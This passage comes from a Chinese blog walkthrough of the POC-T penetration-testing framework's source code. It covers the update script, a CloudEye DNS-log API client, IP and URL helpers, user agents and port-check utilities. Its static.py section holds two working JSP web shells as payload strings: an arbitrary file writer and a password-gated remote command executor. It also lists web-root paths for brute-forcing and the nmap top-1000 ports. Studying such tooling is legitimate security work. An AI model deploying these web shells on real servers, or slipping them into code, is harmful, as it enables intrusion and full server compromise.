    def ioctl_GWINSZ(fd):
        try:
            import fcntl, termios, struct
            cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234'))
        except Exception:
            return None
        return cr

    cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
    if not cr:
        try:
            fd = os.open(os.ctermid(), os.O_RDONLY)
            cr = ioctl_GWINSZ(fd)
            os.close(fd)
        except Exception:
            pass
    if not cr:
        try:
            cr = (env.get('LINES'), env.get('COLUMNS'))
        except Exception:
            return None
    return int(cr[1]), int(cr[0])


if __name__ == "__main__":
    sizex, sizey = getTerminalSize()
    print  'width =', sizex, 'height =', sizey

4、update.py(框架整体更新)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import locale
import os
import re
import sys
from subprocess import PIPE
from subprocess import Popen as execute
from lib.core.common import getSafeExString
from lib.core.common import pollProcess
from lib.core.data import logger
from lib.core.data import paths
from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN
from lib.core.revision import getRevisionNumber


def update():
    success = False
    if not os.path.exists(os.path.join(paths.ROOT_PATH, ".git")):
        errMsg = "not a git repository. Please checkout the 'Xyntax/POC-T' repository "
        errMsg += "from GitHub (e.g. 'git clone https://github.com/Xyntax/POC-T.git POC-T')"
        logger.error(errMsg)
    else:
        infoMsg = "updating POC-T to the latest development version from the "
        infoMsg += "GitHub repository"
        logger.info(infoMsg)

        debugMsg = "POC-T will try to update itself using 'git' command"
        logger.info(debugMsg)

        logger.info("update in progress ")

        try:
            process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE,
                              stderr=PIPE, cwd=paths.ROOT_PATH.encode(
                    locale.getpreferredencoding()))  # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
            pollProcess(process, True)
            stdout, stderr = process.communicate()
            success = not process.returncode
        except (IOError, OSError), ex:
            success = False
            stderr = getSafeExString(ex)

        if success:
            _ = getRevisionNumber()
            logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _))
        else:
            if "Not a git repository" in stderr:
                errMsg = "not a valid git repository. Please checkout the 'Xyntax/POC-T' repository "
                errMsg += "from GitHub (e.g. 'git clone https://github.com/Xyntax/POC-T.git POC-T')"
                logger.error(errMsg)
            else:
                logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())

    if not success:
        if IS_WIN:
            infoMsg = "for Windows platform it's recommended "
            infoMsg += "to use a GitHub for Windows client for updating "
            infoMsg += "purposes (http://windows.github.com/) or just "
            infoMsg += "download the latest snapshot from "
            infoMsg += "https://github.com/Xyntax/POC-T/archive/master.zip"
        else:
            infoMsg = "for Linux platform it's required "
            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"

        logger.info(infoMsg)

    sys.exit(0)

5、versioncheck.py(python的版本检查)

POC-T框架学习————7、相关脚本深入学习三_第10张图片

plugin目录

1、__init__.py(初始化)

POC-T框架学习————7、相关脚本深入学习三_第11张图片

2、cloudeye.py(cloudEye API)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]


"""
CloudEye API

Usage:
    c = CloudEye()
    a = c.getRandomDomain('cdxy')
    try:
        requests.get('http://' + a, timeout=1)
    except Exception:
        pass
    print c.verifyDNS(delay=0)
    print c.verifyHTTP(delay=0)
    print c.getDnsRecord(delay=0)
    print c.getHttpRecord(delay=0)
"""

import random
import requests
import time
from string import ascii_lowercase
from lib.utils.config import ConfigFileParser

# load once for all thread
key = ConfigFileParser().CloudEyeApikey()
uniq_domain = ConfigFileParser().ColudEyePersonaldomain().split('.')[0]


class CloudEye:
    def __init__(self):
        self.unique = uniq_domain
        self.random = ''.join([random.choice(ascii_lowercase) for _ in range(10)])

    def getRandomDomain(self, custom='poc'):
        """
        full domain = [random].[custom].[unique].dnslog.info
        e.g. fezarvgo.poc.ee8a6f.dnslog.info
        """
        self.custom = custom
        return '%s.%s.%s.dnslog.info' % (self.random, self.custom, self.unique)

    def getDnsRecord(self, delay=2):
        time.sleep(delay)
        query = self.random + '.' + self.custom
        api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=query)
        return requests.post(api_base).content

    def getHttpRecord(self, delay=2):
        time.sleep(delay)
        query = self.random + '.' + self.custom
        api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=query)
        return requests.post(api_base).content

    def verifyDNS(self, delay=2):
        return 'dnslog.info' in self.getDnsRecord(delay)

    def verifyHTTP(self, delay=2):
        return 'dnslog.info' in self.getHttpRecord(delay)


def queryDnsRecord(domain, delay=2):
    time.sleep(delay)
    domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.')
    api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=domain)
    return requests.post(api_base).content


def queryHttpRecord(domain, delay=2):
    time.sleep(delay)
    domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.')
    api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=domain)
    return requests.post(api_base).content

3、extracts.py(IP处理)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]


import re
import requests


def getIP(content, remove_duplicate=True, remove_private=False):
    """
    Functions to extract IP from content string

    parameters:
     content
     remove_duplicate  (default:true)
     remove_private    (default:False)

    usage:
     from lib.util.extracts import *
     ip_list = getIP(content)

    private address:
     10.0.0.0 - 10.255.255.255
     172.16.0.0 - 172.31.255.255
     192.168.0.0 - 192.168.255.255
     127.0.0.0 - 127.255.255.255

    example:
     > print getIP('ffeac12.2.2.2asf^&10.10\n.1.1ffa2\n')
     ['12.2.2.2','10.10.1.1']

    """

    def _isPrivateIP(strict_IP):
        p1 = re.compile(r'^10\.|^172\.(?:1[6789]|2\d|31)\.|^192\.168\.|^127\.')
        return True if re.match(p1, strict_IP) else False

    content = content.replace('\n', ',')
    p = re.compile(r'(?:(?:2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(?:2[0-4]\d|25[0-5]|[01]?\d\d?)')
    _ = re.findall(p, content)
    ans = list(set(_)) if remove_duplicate else _

    if remove_private:
        for each in ans:
            if _isPrivateIP(each):
                ans.remove(each)

    return ans


def getTitle(input):
    """
    Get title from html-content/ip/url

    :param input:html-content OR ip OR url
    :return text in 
    :except return string:'NULL'
    """
    try:
        if '<title>' in input:
            content = input
        else:
            url = 'http://' + input if '://' not in input else input
            content = requests.get(url,timeout=3).content
        return re.findall('<title>([\s\S]*)', content)[0].strip()
    except Exception:
        return ''

4、static.py(静态文本:端口、linux|windows的物理路径、upload等)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

class ABSPATH_PREFIXES:
    LINUX = (
        "/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24",
        "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/vhosts",
        "/var/www/virtual", "/var/www/clients/vhosts", "/var/www/clients/virtual")
    WINDOWS = (
        "/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache",
        "/Program Files/Apache Group/Apache",
        "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2",
        "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot",
        "/Inetpub/vhosts")
    ALL = LINUX + WINDOWS


# Suffixes used in brute force search for web server document root
ABSPATH_SUFFIXES = (
    "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all",
    "www/build")

JSP_UPLOAD = """<%@page contentType="text/html; charset=GBK" import="java.io.*;"%>
JSP
<%
String path=request.getParameter("path");
String content=request.getParameter("content");
String url=request.getRequestURI();
String relativeurl=url.substring(url.indexOf('/',1));
String absolutepath=application.getRealPath(relativeurl);
if (path!=null && !path.equals("") && content!=null && !content.equals("")){
  try{
    File newfile=new File(path);
    PrintWriter writer=new PrintWriter(newfile);
    writer.println(content);
    writer.close();
    if (newfile.exists() && newfile.length()>0){
      out.println("save success!");
    }else{
      out.println("save failed!");
    }
  }catch(Exception e){
    e.printStackTrace();
  }
}
out.println("
"); out.println("save path:

"); out.println("current path "+absolutepath+"
"); out.println("
"); out.println(""); out.println("
"); %> """ JSP_RCE = """<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b,0,a));
        }
        out.print("
"); } %>""" NMAP_PORTS_1000 = \ ['1', '3', '4', '6', '7', '9', '13', '17', '19', '20', '21', '22', '23', '24', '25', '26', '30', '32', '33', '37', '42', '43', '49', '53', '70', '79', '80', '81', '82', '83', '84', '85', '88', '89', '90', '99', '100', '106', '109', '110', '111', '113', '119', '125', '135', '139', '143', '144', '146', '161', '163', '179', '199', '211', '212', '222', '254', '255', '256', '259', '264', '280', '301', '306', '311', '340', '366', '389', '406', '407', '416', '417', '425', '427', '443', '444', '445', '458', '464', '465', '481', '497', '500', '512', '513', '514', '515', '524', '541', '543', '544', '545', '548', '554', '555', '563', '587', '593', '616', '617', '625', '631', '636', '646', '648', '666', '667', '668', '683', '687', '691', '700', '705', '711', '714', '720', '722', '726', '749', '765', '777', '783', '787', '800', '801', '808', '843', '873', '880', '888', '898', '900', '901', '902', '903', '911', '912', '981', '987', '990', '992', '993', '995', '999', '1000', '1001', '1002', '1007', '1009', '1010', '1011', '1021', '1022', '1023', '1024', '1025', '1026', '1027', '1028', '1029', '1030', '1031', '1032', '1033', '1034', '1035', '1036', '1037', '1038', '1039', '1040', '1041', '1042', '1043', '1044', '1045', '1046', '1047', '1048', '1049', '1050', '1051', '1052', '1053', '1054', '1055', '1056', '1057', '1058', '1059', '1060', '1061', '1062', '1063', '1064', '1065', '1066', '1067', '1068', '1069', '1070', '1071', '1072', '1073', '1074', '1075', '1076', '1077', '1078', '1079', '1080', '1081', '1082', '1083', '1084', '1085', '1086', '1087', '1088', '1089', '1090', '1091', '1092', '1093', '1094', '1095', '1096', '1097', '1098', '1099', '1100', '1102', '1104', '1105', '1106', '1107', '1108', '1110', '1111', '1112', '1113', '1114', '1117', '1119', '1121', '1122', '1123', '1124', '1126', '1130', '1131', '1132', '1137', '1138', '1141', '1145', '1147', '1148', '1149', '1151', '1152', '1154', '1163', '1164', '1165', '1166', '1169', '1174', '1175', '1183', '1185', '1186', '1187', '1192', '1198', '1199', '1201', '1213', '1216', '1217', '1218', '1233', '1234', '1236', '1244', '1247', '1248', '1259', '1271', '1272', '1277', '1287', '1296', '1300', '1301', '1309', '1310', '1311', '1322', '1328', '1334', '1352', '1417', '1433', '1434', '1443', '1455', '1461', '1494', '1500', '1501', '1503', '1521', '1524', '1533', '1556', '1580', '1583', '1594', '1600', '1641', '1658', '1666', '1687', '1688', '1700', '1717', '1718', '1719', '1720', '1721', '1723', '1755', '1761', '1782', '1783', '1801', '1805', '1812', '1839', '1840', '1862', '1863', '1864', '1875', '1900', '1914', '1935', '1947', '1971', '1972', '1974', '1984', '1998', '1999', '2000', '2001', '2002', '2003', '2004', '2005', '2006', '2007', '2008', '2009', '2010', '2013', '2020', '2021', '2022', '2030', '2033', '2034', '2035', '2038', '2040', '2041', '2042', '2043', '2045', '2046', '2047', '2048', '2049', '2065', '2068', '2099', '2100', '2103', '2105', '2106', '2107', '2111', '2119', '2121', '2126', '2135', '2144', '2160', '2161', '2170', '2179', '2190', '2191', '2196', '2200', '2222', '2251', '2260', '2288', '2301', '2323', '2366', '2381', '2382', '2383', '2393', '2394', '2399', '2401', '2492', '2500', '2522', '2525', '2557', '2601', '2602', '2604', '2605', '2607', '2608', '2638', '2701', '2702', '2710', '2717', '2718', '2725', '2800', '2809', '2811', '2869', '2875', '2909', '2910', '2920', '2967', '2968', '2998', '3000', '3001', '3003', '3005', '3006', '3007', '3011', '3013', '3017', '3030', '3031', '3052', '3071', '3077', '3128', '3168', '3211', '3221', '3260', '3261', '3268', '3269', '3283', '3300', '3301', '3306', '3322', '3323', '3324', '3325', '3333', '3351', '3367', '3369', '3370', '3371', '3372', '3389', '3390', '3404', '3476', '3493', '3517', '3527', '3546', '3551', '3580', '3659', '3689', '3690', '3703', '3737', '3766', '3784', '3800', '3801', '3809', '3814', '3826', '3827', '3828', '3851', '3869', '3871', '3878', '3880', '3889', '3905', '3914', '3918', '3920', '3945', '3971', '3986', '3995', '3998', '4000', '4001', '4002', '4003', '4004', '4005', '4006', '4045', '4111', '4125', '4126', '4129', '4224', '4242', '4279', '4321', '4343', '4443', '4444', '4445', '4446', '4449', '4550', '4567', '4662', '4848', '4899', '4900', '4998', '5000', '5001', '5002', '5003', '5004', '5009', '5030', '5033', '5050', '5051', '5054', '5060', '5061', '5080', '5087', '5100', '5101', '5102', '5120', '5190', '5200', '5214', '5221', '5222', '5225', '5226', '5269', '5280', '5298', '5357', '5405', '5414', '5431', '5432', '5440', '5500', '5510', '5544', '5550', '5555', '5560', '5566', '5631', '5633', '5666', '5678', '5679', '5718', '5730', '5800', '5801', '5802', '5810', '5811', '5815', '5822', '5825', '5850', '5859', '5862', '5877', '5900', '5901', '5902', '5903', '5904', '5906', '5907', '5910', '5911', '5915', '5922', '5925', '5950', '5952', '5959', '5960', '5961', '5962', '5963', '5987', '5988', '5989', '5998', '5999', '6000', '6001', '6002', '6003', '6004', '6005', '6006', '6007', '6009', '6025', '6059', '6100', '6101', '6106', '6112', '6123', '6129', '6156', '6346', '6389', '6502', '6510', '6543', '6547', '6565', '6566', '6567', '6580', '6646', '6666', '6667', '6668', '6669', '6689', '6692', '6699', '6779', '6788', '6789', '6792', '6839', '6881', '6901', '6969', '7000', '7001', '7002', '7004', '7007', '7019', '7025', '7070', '7100', '7103', '7106', '7200', '7201', '7402', '7435', '7443', '7496', '7512', '7625', '7627', '7676', '7741', '7777', '7778', '7800', '7911', '7920', '7921', '7937', '7938', '7999', '8000', '8001', '8002', '8007', '8008', '8009', '8010', '8011', '8021', '8022', '8031', '8042', '8045', '8080', '8081', '8082', '8083', '8084', '8085', '8086', '8087', '8088', '8089', '8090', '8093', '8099', '8100', '8180', '8181', '8192', '8193', '8194', '8200', '8222', '8254', '8290', '8291', '8292', '8300', '8333', '8383', '8400', '8402', '8443', '8500', '8600', '8649', '8651', '8652', '8654', '8701', '8800', '8873', '8888', '8899', '8994', '9000', '9001', '9002', '9003', '9009', '9010', '9011', '9040', '9050', '9071', '9080', '9081', '9090', '9091', '9099', '9100', '9101', '9102', '9103', '9110', '9111', '9200', '9207', '9220', '9290', '9415', '9418', '9485', '9500', '9502', '9503', '9535', '9575', '9593', '9594', '9595', '9618', '9666', '9876', '9877', '9878', '9898', '9900', '9917', '9929', '9943', '9944', '9968', '9998', '9999', '10000', '10001', '10002', '10003', '10004', '10009', '10010', '10012', '10024', '10025', '10082', '10180', '10215', '10243', '10566', '10616', '10617', '10621', '10626', '10628', '10629', '10778', '11110', '11111', '11967', '12000', '12174', '12265', '12345', '13456', '13722', '13782', '13783', '14000', '14238', '14441', '14442', '15000', '15002', '15003', '15004', '15660', '15742', '16000', '16001', '16012', '16016', '16018', '16080', '16113', '16992', '16993', '17877', '17988', '18040', '18101', '18988', '19101', '19283', '19315', '19350', '19780', '19801', '19842', '20000', '20005', '20031', '20221', '20222', '20828', '21571', '22939', '23502', '24444', '24800', '25734', '25735', '26214', '27000', '27352', '27353', '27355', '27356', '27715', '28201', '30000', '30718', '30951', '31038', '31337', '32768', '32769', '32770', '32771', '32772', '32773', '32774', '32775', '32776', '32777', '32778', '32779', '32780', '32781', '32782', '32783', '32784', '32785', '33354', '33899', '34571', '34572', '34573', '35500', '38292', '40193', '40911', '41511', '42510', '44176', '44442', '44443', '44501', '45100', '48080', '49152', '49153', '49154', '49155', '49156', '49157', '49158', '49159', '49160', '49161', '49163', '49165', '49167', '49175', '49176', '49400', '49999', '50000', '50001', '50002', '50003', '50006', '50300', '50389', '50500', '50636', '50800', '51103', '51493', '52673', '52822', '52848', '52869', '54045', '54328', '55055', '55056', '55555', '55600', '56737', '56738', '57294', '57797', '58080', '60020', '60443', '61532', '61900', '62078', '63331', '64623', '64680', '65000', '65129', '65389']

5、urlparser.py(URL解析)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import urlparse


def get_domain(url):
    """
    added by cdxy May 8 Sun,2016

    Use:
    get_domain('http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#')

    Return:
    'http://cdxy.me:80'
    """
    p = urlparse.urlparse(url)
    return urlparse.urlunsplit([p.scheme, p.netloc, '', '', ''])


def iterate_path(ori_str):
    """
    added by cdxy May 8 Sun,2016

    Use:
    iterate_path_to_list('http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#')

    Return:
    ['http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#',
     'http://cdxy.me:80/'
     'http://cdxy.me:80/cdsa',
     'http://cdxy.me:80/cdsa/cda',
     'http://cdxy.me:80/cdsa/cda/aaa.jsp']

    """
    parser = urlparse.urlparse(ori_str)
    _path_list = parser.path.replace('//', '/').strip('/').split('/')
    _ans_list = set()
    _ans_list.add(ori_str)

    if not _path_list[0]:
        return _ans_list

    _ans_list.add(get_domain(ori_str))
    s = ''
    for each in _path_list:
        s += '/' + each
        _ans_list.add(urlparse.urljoin(ori_str, s))
    return _ans_list


if __name__ == '__main__':
    url = 'http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#'
    print urlparse.urlparse(url)
    print get_domain(url)
    for each in iterate_path(url):
        print each

6、useragent.py(各大浏览器的UA)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

"""
Functions to get user-agent string
edit by cdxy [[email protected]]
May 9 Mon, 2016

usage:
from plugin.useragent import *
str1 = get_random_agent()
str2 = firefox()
str3 = iphone()
str4 = google_bot()
...

tips:
init_UAlist(),get_random_agent()
these 2 methods should be called after [path-init-method] in lib.core.common
"""

import random
from lib.core.data import conf, th, paths, logger
from lib.core.common import getFileItems


def _init_UAlist(path):
    infoMsg = "loading HTTP User-Agent header(s) from "
    infoMsg += "file '%s'" % path
    logger.info(infoMsg)

    # TODO 此处 conf.RANDOM_UA 在其他地方暂时没有用到
    conf.RANDOM_UA = True
    th.UA_LIST = getFileItems(path)

    successMsg = "Total: %d" % len(th.UA_LIST)
    logger.info(successMsg)


def get_random_agent(path=paths.UA_LIST_PATH):
    if "UA_LIST" not in th:
        _init_UAlist(path)
    try:
        return random.sample(th.UA_LIST, 1)[0]
    except IOError, e:
        warnMsg = "unable to read HTTP User-Agent header "
        warnMsg += "file '%s'" % path
        logger.warning(warnMsg)
        return


def firefox():
    return 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0'


def ie():
    return 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)'


def chrome():
    return 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30'


def opera():
    return 'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50'


def iphone():
    return 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16'


def google_bot():
    return 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'


def msn_bot():
    return 'msnbot/1.1 (+http://search.msn.com/msnbot.htm)'


def yahoo_bot():
    return 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)'

7、util.py(随机数、URL重定向、URL转IP地址、IP转域名、端口开发检查)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]

import random
import hashlib
import requests
import socket
import re
from string import ascii_lowercase, digits
from urlparse import urlparse


def randomString(length=8):
    """
    生成随机字母串

    :param length:生成字符串长度
    :return 字母串
    """
    return ''.join([random.choice(ascii_lowercase) for _ in range(length)])


def randomDigits(length=8):
    """
    生成随机数字串

    :param length:生成字符串长度
    :return 数字串
    """
    return ''.join([random.choice(digits) for _ in range(length)])


def randomMD5(length=10, hex=True):
    """
    生成随机MD5键值对

    :param length:指定明文长度
    :param hex:指定密文长度为32位
    :returns 原文,密文(32位或16位)
    """
    plain = randomDigits(length)
    m = hashlib.md5()
    m.update(plain)
    cipher = m.hexdigest() if hex else m.hexdigest()[8:-8]
    return [plain, cipher]


def redirectURL(url, timeout=3):
    """
    获取跳转后的真实URL

    :param url:原始URL
    :param timeout:超时时间
    :return 跳转后的真实URL
    """
    try:
        url = url if '://' in url else 'http://' + url
        r = requests.get(url, allow_redirects=False, timeout=timeout)
        return r.headers.get('location') if r.status_code == 302 else url
    except Exception:
        return url


def host2IP(url):
    """
    URL转IP

    :param url:原始URL
    :return IP:PORT
    :except 返回原始URL
    """
    for offset in url:
        if offset.isalpha():
            break
    else:
        return url
    try:
        url = url if '://' in url else 'http://' + url  # to get netloc
        url = urlparse(url).netloc
        ans = [i for i in socket.getaddrinfo(url.split(':')[0], None)[0][4] if i != 0][0]
        if ':' in url:
            ans += ':' + url.split(':')[1]
        return ans
    except Exception:
        return url


def IP2domain(base, timeout=3):
    """
    IP转域名

    :param base:原始IP
    :param timeout:超时时间
    :return 域名 / False
    :except 返回False
    """
    try:
        domains = set()
        ip = base.split(':')[0] if ':' in base else base
        q = "https://www.bing.com/search?q=ip%3A" + ip
        c = requests.get(url=q,
                         headers={
                             'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0'},
                         timeout=timeout
                         ).content
        p = re.compile(r'(.*?)')
        l = re.findall(p, c)
        for each in l:
            domain = each.split('://')[-1].split('/')[0]
            domains.add(domain)
        if len(domains) > 0:
            ans_1 = base + ' -> '
            for each in domains:
                ans_1 += '|' + each
            return ans_1
        else:
            return False
    except Exception:
        return False


def checkPortTcp(target, port, timeout=3):
    """
    检查端口是否开放

    :param target:目标IP
    :param port:目标端口
    :param timeout:超时时间
    :return True / False
    :except 返回False
    """
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.settimeout(timeout)
    try:
        sk.connect((target, port))
        return True
    except Exception:
        return False

 

未完,待续!

你可能感兴趣的:(【渗透测试框架/工具源码学习】,————POC-T)